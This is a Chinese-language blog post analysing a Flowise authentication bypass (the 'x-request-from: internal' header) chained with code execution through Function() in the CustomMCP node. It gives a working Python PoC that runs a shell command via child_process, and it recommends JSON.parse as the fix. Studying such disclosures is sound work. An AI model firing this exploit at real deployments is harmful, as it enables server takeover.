最近对一些 AI 应用的漏洞挖掘特别感兴趣:一方面是 AI 应用会持续变多,另一方面是 vibe coding 催生的大量个人应用。很多 AI 应用会用 TypeScript 来写,也许是这种语言的通信方式更适配 token 流(我猜的)。

于是乎,就有了 Flowise 的那一篇复现,地址:CVE-2025-26319 复现以及分析

这个漏洞的关键在于:找到白名单列表,并对白名单内的接口做漏洞挖掘——这是比较通用的方法。毕竟对于白名单,所有鉴权都没开,如果一旦有 sink 点,那直接原地起飞。

于是乎在第二天,我就开启了对它其他漏洞的挖掘。开始的思路也是这样:先对其他白名单接口进行分析,其中也利用 Codex 帮我分析了一波,也没啥特别的点;对于白名单里的接口,一般都是直接获取一个什么东西,没有很危险的操作。

那天在地铁上看到一篇文章写到:代码审计得先看鉴权的部分,如果绕过的话,那可以利用的东西可太多了。

于是在该版本上去看了一眼它的鉴权逻辑——不看不知道,一看吓一跳:这鉴权直接加一个 header 就绕了。

那为什么和拖延症有关呢?大抵是如此。当时发现的时候是 2 月 11 号。

鉴权绕过示意

当时发现了之后感觉也没啥特别的想法,再加上工作上组内有个同事请假了,分担了一些他的工作,所以一直没来得及申请 CVE 或者其他的想法。

于是在某一天,我的一个好朋友和我说:阿里云有个 AI 应用通用漏洞的项目,可以交一下。就在百忙之中写了一个交上去了,当时交的时候还在网上 search 了一下,发现是没有人在网上披露出来的。于是,在周五晚上回到家,发现审核说「网上该绕过方式已有 CVE 编号」。我???真的吗?然后给了我编号,搜索之后:

已有 CVE 披露时间

6 天前,披露时间 3 月 7 号????刚刚好是我交上去的前一天。好吧,fine。看来以后不能拖延。

接下来就大致写一下漏洞成因吧。

在 Flowise 3.0.0 之前,Docker 部署的时候是可以无密码部署的(相当于也是低权限用户)。于是在 packages/server/src/index.ts 第 201 行:

x-request-from internal

可以看到加了 x-request-from:这个 header 是 internal 就默认为内部请求,直接可以 next() 跳过中间件的检查。

既然绕过了鉴权之后,我们再随便找一个 RCE 的点即可。

这里只是抛砖引玉:以 3.0.0 版本来分析,利用的版本代码不一样,但利用手法是一样的。

我们找到:packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts

CustomMCP 入口

接受 INodeData 参数,传进 getTools

跟进 getTools

getTools

注意到 convertToValidJSONString 函数。

跟进一下:当 mcpServerConfig 是字符串时调用 convertToValidJSONString

最终实现在 packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts

Function 动态执行

看到了 Function()

这让我想起来第一次看 P 神的文章讲 JS 原型链污染的时候——那是我第一次知道,还可以那样子执行命令。

于是我们回溯找一下控制器、路由接口,即可构造 PoC:

import requests
import json


# 目标 URL
url = "http://192.168.129.111:3000/api/v1/node-load-method/customMCP"


# 设置 Headers
headers = {
    "Content-Type": "application/json",
    "x-request-from": "internal"
}


# 构造请求体 (Body)
# 注意:这里使用字典结构,Python 会自动转换为合法的 JSON 字符串
payload = {
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo aliyunAI >/tmp/aliyun.txt\");return 1;})()})"
    }
  }


try:
    # 发送 POST 请求
    print(f"[*]正在向 {url} 发送请求...")
    response = requests.post(url, headers=headers, json=payload, timeout=10)


    # 输出结果
    print(f"[*] 状态码: {response.status_code}")
    print(f"[*] 响应内容:\n{response.text}")


except requests.exceptions.RequestException as e:
    print(f"[!] 请求发生错误: {e}")

这里来分析一下 payload。

立即执行函数(IIFE)被调用

(function(){ ... })() 中的代码会立即执行

const cp = process.mainModule.require("child_process");
cp.execSync("echo !!RCE-OK!! >/tmp/RCE.txt"); // ← 关键:执行系统命令
return 1; // 函数返回 1

构造最终对象

  • 整个表达式是对象字面量:{ x: [IIFE 的返回值] }
  • 因为 IIFE 返回 1,所以最终得到:{ x: 1 }

但是命令已经执行了。

漏洞成因

假设原始代码想实现「把字符串转成 JS 对象」(类似 JSON.parse 的功能),但开发者错误地用了危险方式

// 开发者原本想实现的功能:安全地把字符串转成对象
const userInput = "{ name: 'Alice', age: 30 }"; // 用户提交的字符串

// 错误实现(高危!):
const obj = Function('return ' + userInput)();
// 相当于:Function("return { name: 'Alice', age: 30 }")()
// 执行后 → 返回对象 { name: 'Alice', age: 30 }

为什么说它是「返回对象的函数」?

  1. 拼接过程
    inputString = "{ name: 'Alice' }"
    → 拼接成 "return { name: 'Alice' }"
    → 这本身就是一段合法的 JS 函数体(执行后会返回对象)

  2. 动态生成函数
    Function("return { name: 'Alice' }") 会创建:

function anonymous() {
  return { name: 'Alice' }; // ← 这就是「返回对象的函数」
}

正确做法(安全替代方案)

// ✅ 安全方案:严格使用 JSON
try {
  const obj = JSON.parse(inputString); // 只能解析纯数据
  if (!isValidObject(obj)) throw Error("非法数据");
} catch (e) {
  // 拦截攻击:{x:(function(){...})()}
}